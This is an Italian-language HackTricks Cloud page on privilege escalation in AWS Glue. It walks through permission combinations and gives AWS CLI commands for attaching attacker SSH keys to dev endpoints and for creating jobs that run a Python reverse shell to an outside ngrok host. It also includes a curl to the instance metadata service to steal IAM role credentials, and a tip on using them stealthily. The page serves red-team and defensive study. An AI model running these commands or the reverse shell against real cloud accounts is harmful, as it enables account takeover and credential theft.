AWS - Glue Privesc
Reading time: 4 minutes
tip
Impara e pratica il hacking AWS: HackTricks Training AWS Red Team Expert (ARTE)
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:  HackTricks Training GCP Red Team Expert (GRTE)
HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure:
Impara e pratica il hacking Azure:  HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
glue
iam:PassRole, glue:CreateDevEndpoint, (glue:GetDevEndpoint | glue:GetDevEndpoints)
Utenti con queste autorizzazioni possono configurare un nuovo AWS Glue endpoint di sviluppo, assegnando a questo endpoint un ruolo di servizio esistente che Glue può assumere con permessi specifici.
Dopo la configurazione, l'attaccante può accedere via SSH all'istanza dell'endpoint, e rubare le credenziali IAM del ruolo assegnato:
# Create endpoint
aws glue create-dev-endpoint --endpoint-name <endpoint-name> \
--role-arn <arn-role> \
--public-key file:///ssh/key.pub
# Get the public address of the instance
## You could also use get-dev-endpoints
aws glue get-dev-endpoint --endpoint-name privesctest
# SSH with the glue user
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com
Per motivi di stealth, si consiglia di utilizzare le credenziali IAM dall'interno della macchina virtuale Glue.
Impatto potenziale: Privesc al ruolo di servizio Glue specificato.
glue:UpdateDevEndpoint, (glue:GetDevEndpoint | glue:GetDevEndpoints)
Gli utenti con questo permesso possono alterare la chiave SSH di un Glue development endpoint esistente, abilitando l'accesso SSH ad esso. Questo permette all'attaccante di eseguire comandi con i privilegi del ruolo associato all'endpoint:
# Change public key to connect
aws glue --endpoint-name target_endpoint \
--public-key file:///ssh/key.pub
# Get the public address of the instance
## You could also use get-dev-endpoints
aws glue get-dev-endpoint --endpoint-name privesctest
# SSH with the glue user
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com
Impatto potenziale: Privesc al ruolo di servizio glue utilizzato.
iam:PassRole, (glue:CreateJob | glue:UpdateJob), (glue:StartJobRun | glue:CreateTrigger)
Utenti con iam:PassRole combinato con glue:CreateJob o glue:UpdateJob, e con glue:StartJobRun o glue:CreateTrigger, possono creare o aggiornare un job AWS Glue, allegando qualsiasi Glue service account, e avviare l'esecuzione del job. Le capacità del job includono l'esecuzione di codice Python arbitrario, che può essere sfruttato per stabilire una reverse shell. Questa reverse shell può poi essere utilizzata per esfiltrare le IAM credential del ruolo associato al job Glue, portando a potenziali accessi non autorizzati o azioni basate sui permessi di quel ruolo:
# Content of the python script saved in s3:
#import socket,subprocess,os
#s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#s.connect(("2.tcp.ngrok.io",11216))
#os.dup2(s.fileno(),0)
#os.dup2(s.fileno(),1)
#os.dup2(s.fileno(),2)
#p=subprocess.call(["/bin/sh","-i"])
#To get the IAM Role creds run: curl http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy
# A Glue role with admin access was created
aws glue create-job \
--name privesctest \
--role arn:aws:iam::93424712358:role/GlueAdmin \
--command '{"Name":"pythonshell", "PythonVersion": "3", "ScriptLocation":"s3://airflow2123/rev.py"}'
# You can directly start the job
aws glue start-job-run --job-name privesctest
# Or you can create a trigger to start it
aws glue create-trigger --name triggerprivesc --type SCHEDULED \
--actions '[{"JobName": "privesctest"}]' --start-on-creation \
--schedule "0/5 * * * * *"  #Every 5mins, feel free to change
Impatto potenziale: Privesc al ruolo di servizio glue specificato.
glue:UpdateJob
Solo con il permesso di update, un attaccante potrebbe rubare le credenziali IAM del ruolo già associato.
Impatto potenziale: Privesc al ruolo di servizio glue associato.
Riferimenti
tip
Impara e pratica il hacking AWS: HackTricks Training AWS Red Team Expert (ARTE)
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:  HackTricks Training GCP Red Team Expert (GRTE)
HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure:
Impara e pratica il hacking Azure:  HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
 HackTricks Cloud
HackTricks Cloud